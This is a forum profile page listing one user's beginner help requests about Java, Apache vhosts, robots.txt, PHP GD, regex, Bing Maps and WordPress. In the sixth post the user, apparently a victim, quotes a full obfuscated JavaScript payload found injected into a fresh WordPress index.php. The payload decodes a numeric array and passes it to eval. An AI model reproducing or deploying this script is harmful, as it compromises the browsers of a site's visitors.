Jump to content

hamza

Members
  • Posts

    321
  • Joined

  • Last visited

Posts posted by hamza

  1. Hi all ,

    i am newbie in java.

    i am getting error not sure about this 

    when you select option two after running this code. this error will occur please help

    Error:
    exception in thread “main” Java.lang.nullPointerException error?

     

     

    here is my code 

    import java.util.*;
    
    class Person {
    	String name;
    	int phoneNumber;
    }
    
    
    class Student extends Person {
    	String rollNo;
    	double CGPA;
    	public Object getRollNo;
    	
    	
    	public void input() {
    		System.out.print("Enter rollNo and CGPA: ");
    		Scanner in = new Scanner(System.in);		
    		
    		rollNo  = in.next();
    		CGPA 	= in.nextFloat();
    	}
    
    	public void output() {
    		System.out.println(" Student Details  " );
    		System.out.println("\n============" );
    		System.out.println("Roll No: " + rollNo + "\nCGPA: " + CGPA);									
    	}
    
    	public String getRollNo() {
    		return rollNo;
    	}
    }
    
    public class AddressBook {
    		public static void main(String args[])	
    		{
    		int choice = 3;
    		AddressBook addressBook= new AddressBook(3);
    
    		
    				System.out.println("\n1.Press 1 to Add Contact.");
    				System.out.println("\n2.Press 2 to Search.");		
    				System.out.println("\n3.Exit.");
    				System.out.println("\n==========================================");				
    				System.out.print("Enter your choice: ");
    				
    				Scanner in = new Scanner(System.in);		
    				int choice1 = in.nextInt();
    				
    				
    		while (choice1 != 3) {
    			//try {
    				
    				if (choice1 == 1) {
    					addressBook.AddContact();
    				} else if (choice1 == 2) {
    					addressBook.Search();
    				} else if (choice1 == 3) {
    					System.out.print("Exting...");
    				} else {
    					System.out.print("Please enter a valid menu option.");
    				}
    			/*} catch (ArrayIndexOutOfBoundsException e) {
    				System.out.print("Please enter a valid menu option.");
    			}
    			*/
    				System.out.println("\n1.Press 1 to Add Contact.");
    				System.out.println("\n2.Press 2 to Search.");		
    				System.out.println("\n3.Exit.");
    				System.out.println("\n==========================================");				
    				System.out.print("Enter your choice: ");
    				
    				choice1 = in.nextInt();
    		} 		
        }	
    	
    	int sizeOfAddressBook;
    	int currentRecord;
    	//Person[] record;	// <-- Defined a variable which will be an array of Person objects
    		
    		Person[] record = new Person[10];
    		
    		
    	AddressBook(int size) {
    		sizeOfAddressBook = size;
    
    		for (int iter = 0; iter < sizeOfAddressBook; iter++) {
    			record[iter] = new Person();  // error
    		}
    
    		currentRecord = 0;
    	}
        
    	void AddContact() {
    		try {
    			Student student = new Student();
    			student.input();
    			record[currentRecord++] = student;
    		} catch(ArrayIndexOutOfBoundsException  e1) {
    			System.out.println("No more free place exist in array record!");
    		}		
    	}
    	
    	void Search() {
    		System.out.print("Enter rollNo: ");
    		Scanner in = new Scanner(System.in);		
    		String no = in.next();
    
    		Student stud = new Student(); // me
    		
    
    		for (int iter = 0; iter < sizeOfAddressBook; iter++) {
    			if (record[iter] instanceof Student) {
    				stud = (Student) record[iter];
    
    				try{
    				if (stud.getRollNo.equals(no)) {
    					stud.output();
    					return;
    				}
    				
    				} catch(NullPointerException e) {
    				
    				e.printStackTrace();
    
    				System.out.println("exception details" + e);
    				}
    				
    				
    			}
    		}
    		
    		System.out.println("Student is not found!");
    	}
    
    	
    }
    
  2. How i can detect  Custom Error Response if any of them occur on my site.
    Errors are 
     500
     404
     401
     408
     
    Do i need any script or any perfect solution for this.
    Please guide me.
     
    thanks
  3. hi

    i am unable to define vhost on local machine.

    please check below

     

     

    enabled

     

    Include conf/extra/httpd-vhosts.conf

     

     

    httpd-vhosts.conf

     

    
    <VirtualHost *:80>
       ServerAdmin ramesh@thegeekstuff.com
       DocumentRoot C:\wamp\www\cms
       ServerName top5freeware
    
    </VirtualHost>
    
    <VirtualHost *:80>
       ServerAdmin ramesh@thegeekstufdf.com
       DocumentRoot C:\wamp\www
       ServerName localhost        
    </VirtualHost>
    
    
    

     

     

    hosts

    127.0.0.1 localhost

    127.0.0.1 top5freeware

     

     

     

    dont no why it is not working at all i restated the appachi did evything that i know

  4. please see me robot file

    # global
    Disallow: /cgi-bin/
    Disallow: /wp-admin/
    Disallow: /wp-includes/
    Disallow: /wp-content/plugins/
    Disallow: /wp-content/cache/
    Disallow: /wp-content/themes/
    Disallow: /trackback/
    Disallow: /feed/
    Disallow: /comments/
    Disallow: /category/*/*
    Disallow: */trackback/
    Disallow: */feed/
    Disallow: */comments/
    Disallow: /*?
    Allow: /wp-content/uploads/
    
    #And here it is my subdir
    
    # Disallow Other subdirs
    Disallow: /test/
    Disallow: /livelimmitless/
    Disallow: /demos/
    
    

     

     

     

    The Issue

    robots not crawlering on my site. and not indexing it .

    please see the file and help me with this what excactly the issue is.

     

    thanks

  5. This code is creating broken image.please check it

    png and gd is enabled.

    i also remove the header but still getting broken image.

    there is no space before/after php tags.thanks you

     

     

    my code

    <?php
    // Set the content-type
    header('Content-Type: image/png');
    // Create the image
    $im = imagecreatetruecolor(400, 30);
    // Create some colors
    $white = imagecolorallocate($im, 255, 255, 255);
    $grey = imagecolorallocate($im, 128, 128, 128);
    $black = imagecolorallocate($im, 0, 0, 0);
    imagefilledrectangle($im, 0, 0, 399, 29, $white);
    
    // The text to draw
    $text = 'Testing...';
    // Replace path by your own font path
    $font = 'arial.ttf';
    
    // Add some shadow to the text
    imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);
    
    // Add the text
    imagettftext($im, 20, 0, 10, 20, $black, $font, $text);
    
    // Using imagepng() results in clearer text compared with imagejpeg()
    imagepng($im);
    imagedestroy($im);
    ?>
    

  6. i am installing and wordpress blog on my godaddy hosting account and it is getting hacking code.

    its a fresh installation and i tried again installing it but it is getting hacking code on top index.php

    please help .

    hacking code look like this

    <script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f+'C'+'ode'](-h*(1+n[j]));}q=ss;e(q);</script>
    

  7. CHeck on the VB forum, I'm sure you can get suggestions there. I have a mod in smf

     

    thanks for your reply can you please give me that mod name and details n if possible then can you provide me that mod i really need help.

    thanks

     

    I have a mod for SMF not VB so you need to chk with the VB people to see what they suggest you use.

     

    ok

  8. CHeck on the VB forum, I'm sure you can get suggestions there. I have a mod in smf that checks the IP, email and name of the registor against a list and if the registor has an ip email or name on this list they get rejected more or less.

     

    thanks for your reply can you plz give me that mod name and details n if possible then can you provide me that mod i really need help.

    thanks

  9. It seems my vbulletin forum is still having problems with unregistered guests spamming threads and members Inbox on the forum. Do you have a solution for this?

    please tell me any best solution.

     

    thanks for any help.

  10. I need to get the content of this div.

    but getting nothing

    $str = "<div class='mainful'>this is testing of the string n thats it </div>";
    $str = preg_quote($str, "/");
    $result = preg_match_all("/^<div class=\/'mainful\/'>(.*?)<\/div>$/", $str , $matches_results);
    if($result){
        print_r($matches_results); 
        exit;
    } else {
         echo "no match ";
    }
    

  11. when my bing map loads push pin is not visilble. When i move or click on map it suddenly display pushpin. i am using custum pushpin with correct path.

     

    Got to the link click on launch satellite on right sidebar green button.A map load. http://tinyurl.com/3z25amr

     

    function geocodeCallback(result) {
    document.getElementById('post-satellite-map-address').firstChild.nodeValue = result.resourceSets[0].resources[0].address.addressLine;
    }
    
    jQuery('#post-gallery a[rel="post-gallery-photo"]').colorbox();
    
    (function() {
    var icon;
    var map = new VEMap('post-satellite-map');
    var mapDiv = document.getElementById('post-satellite-map');
    var interval = setInterval(function() {
      if(mapDiv.attachEvent != undefined) {
       clearInterval(interval);
    
       var lat = document.getElementById('post-satellite-map-lat').value, long = document.getElementById('post-satellite-map-long').value;
       var position = new VELatLong(lat, long);
       map.LoadMap();
       map.SetZoomLevel(19);
       map.SetCenter(position);
       map.SetMapStyle(VEMapStyle.Birdseye);
    
       icon = new VEShape(VEShapeType.Pushpin, position);
       icon.SetCustomIcon(document.getElementById('post-satellite-map-icon').value);
       map.AddShape(icon);
    
       /*var script = document.createElement('script');
       script.setAttribute('type', 'text/javascript');
       script.setAttribute('src', ['http://dev.virtualearth.net/REST/v1/Locations/point?output=json&jsonp=geocodeCallback&includeEntityTypes=Address&point=', lat, ',', long].join(''));
       document.body.appendChild(script);*/
      }
    }, 10);
    document.getElementById('post-gallery-satellite').onclick = document.getElementById('sidebar-map-launch').onclick = function() {
      jQuery.colorbox({inline: true, href: '#post-satellite-map-overlay'});
      map.Resize();
      icon.Hide();
      icon.Show();
    
          return false;
         };
    
    jQuery.get(
      WPAjaxURL,
      { action: 'osm_postviews', postID: document.getElementById('post-id').value },
      function(views) {
       document.getElementById('post-views-count').firstChild.nodeValue = document.getElementById('post-satellite-map-views-count').firstChild.nodeValue = views;
      },
      'json'
    );
    })();
    

     

    Please help me in this issue. thanks in advance

  12. i have a wordpress site

    when every i change permission it stop working as well as permission rollback

    for example

    0777 when you apply these permission then after some time it will roll back to 755

    please tell me whey this is happening.

    i tried filezilla as well as smart ftp

    thanks for any help

     

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.